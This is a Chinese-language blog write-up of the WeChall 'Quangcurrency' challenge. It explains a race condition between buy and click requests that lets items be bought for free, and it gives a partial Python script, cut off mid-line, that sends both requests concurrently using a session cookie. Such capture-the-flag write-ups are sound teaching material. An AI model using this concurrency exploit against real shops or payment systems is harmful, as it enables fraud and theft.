Ricky Hao

WeChall 之 Quangcurrency

这一题的意思就是 让你用有限的钱买更多的东西。
其实一个很坑的地方就是:这题的名字Quangcurrency念出来就是concurrency。So,懂了没?

首先,Buy的时候,金钱应该减1000.
然而,在我们Click的时候,会在原有的钱数上+1.
这就带来了一个问题:
这Click的+1是加在原有的钱上面还是在Buy之后的钱上?
若是在Buy之前的钱上,那么就相当于免费买了一个Item。

所以,我们就可以利用这个漏洞,同时进行Buy和Click操作。这样就有一定几率能够免费消费。写个脚本挂一会就可以
通过了。

以下是我的Python脚本:

import requests;
import threading;
import re;
def f1():
    requests.get('http://www.wechall.net/challenge/quangcurrency/buy.php',cookies=wc);
def f2():
    requests.get('http://www.wechall.net/challenge/quangcurrency/click.php',cookies=wc);
def f3():
    r=requests.get('http://www.wechall.net/challenge/quangcurrency/stats.php',cookies=wc).text;
    a=m.findall(r);
    print(a[0][0]+' '+a[0][1]+' '+a[0][2]);
    if(int(a[0][1])>50):
        f4();
    if(int(a[0][0])
点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据